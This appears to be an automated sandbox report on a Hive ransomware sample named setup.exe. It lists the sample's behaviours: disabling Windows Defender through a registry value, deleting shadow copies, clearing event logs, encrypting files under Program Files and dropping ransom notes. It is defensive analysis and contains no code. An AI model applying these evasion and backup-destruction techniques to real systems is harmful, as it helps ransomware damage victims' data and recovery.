Malware Analysis Report

2024-10-16 03:12

Sample ID 220105-p872jaach8
Target setup
SHA256 33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277

Threat Level: Known bad

The file setup was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Modifies security service

Modifies Windows Defender Real-time Protection settings

Deletes Windows Defender Definitions

Hive

Clears Windows event logs

Deletes shadow copies

Modifies boot configuration data using bcdedit

Modifies extensions of user files

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Runs ping.exe

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Interacts with shadow copies

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Runs net.exe

Opens file in notepad (likely ransom note)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-05 13:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-05 13:01

Reported

2022-01-05 13:03

Platform

win7-en-20211208

Max time kernel

103s

Max time network

19s

Command Line

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Java\jre7\lib\deploy.jar.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\CommsIncomingImageSmall.jpg.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18197_.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\ja-JP\css\flyout.css C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576_91n92.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\license.html.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_box_bottom.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18249_.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Common Files\System\ado\es-ES\msader15.dll.mui C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Perth.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21301_.GIF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\CHECKBOX.JPG.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\fr-FR\js\slideShow.js C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\n8pw_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\de.txt.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\send-email-16.png.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107750.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\n8pw_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkServerCP.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0188669.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00808_.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01848_.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO01566_.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FormsHomePage.html.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Sts2.css.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\InputPersonalization.exe.mui C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107308.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0278702.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Metro.eftx.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Phoenix.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\COMPASS\THMBNAIL.PNG.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\bg_SlateBlue.gif.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Adobe.css.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\en-US\gadget.xml C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\n8pw_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861261279.profile.gz.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util_zh_CN.jar.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH01875_.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0106816.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\bg_VelvetRose.gif.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_corner_bottom_left.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\fr-FR\wab32res.dll.mui C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Foundry.eftx.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18215_.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD15035_.GIF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\Filters.xml C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\MANIFEST.MF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_IAAAACAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14753_.GIF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\images\add_up.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Program Files\Java\jre7\lib\zi\Australia\n8pw_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Program Files\Microsoft Games\Solitaire\en-US\n8pw_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.xml.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_basestyle.css.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00918_.WMF.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\include\win32\n8pw_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\n8pw_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\n8pw_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\203x8subpicture.png C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Adak.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark_mac.css.zVcPop1VTFm5Jelr8f-StEf3VD_EWIv3FMgSK3C1dnf_AAAAAAAAAAA0.cv2gj C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1912 wrote to memory of 596 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 596 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 596 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 596 wrote to memory of 756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 596 wrote to memory of 756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 596 wrote to memory of 756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1912 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1240 wrote to memory of 1492 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1240 wrote to memory of 1492 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1240 wrote to memory of 1492 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1912 wrote to memory of 112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 112 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 112 wrote to memory of 1852 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 112 wrote to memory of 1852 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 112 wrote to memory of 1852 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1912 wrote to memory of 688 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 688 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 688 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 688 wrote to memory of 900 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 688 wrote to memory of 900 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 688 wrote to memory of 900 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1912 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1832 wrote to memory of 436 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1832 wrote to memory of 436 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1832 wrote to memory of 436 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1912 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1812 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1812 wrote to memory of 1216 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1812 wrote to memory of 1216 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1812 wrote to memory of 1216 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1912 wrote to memory of 1328 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1328 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1328 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1328 wrote to memory of 1904 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1328 wrote to memory of 1904 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1328 wrote to memory of 1904 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1912 wrote to memory of 1752 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1752 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1912 wrote to memory of 1752 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\net.exe
PID 1752 wrote to memory of 632 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1752 wrote to memory of 632 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1752 wrote to memory of 632 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1912 wrote to memory of 1228 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Windows\system32\sc.exe
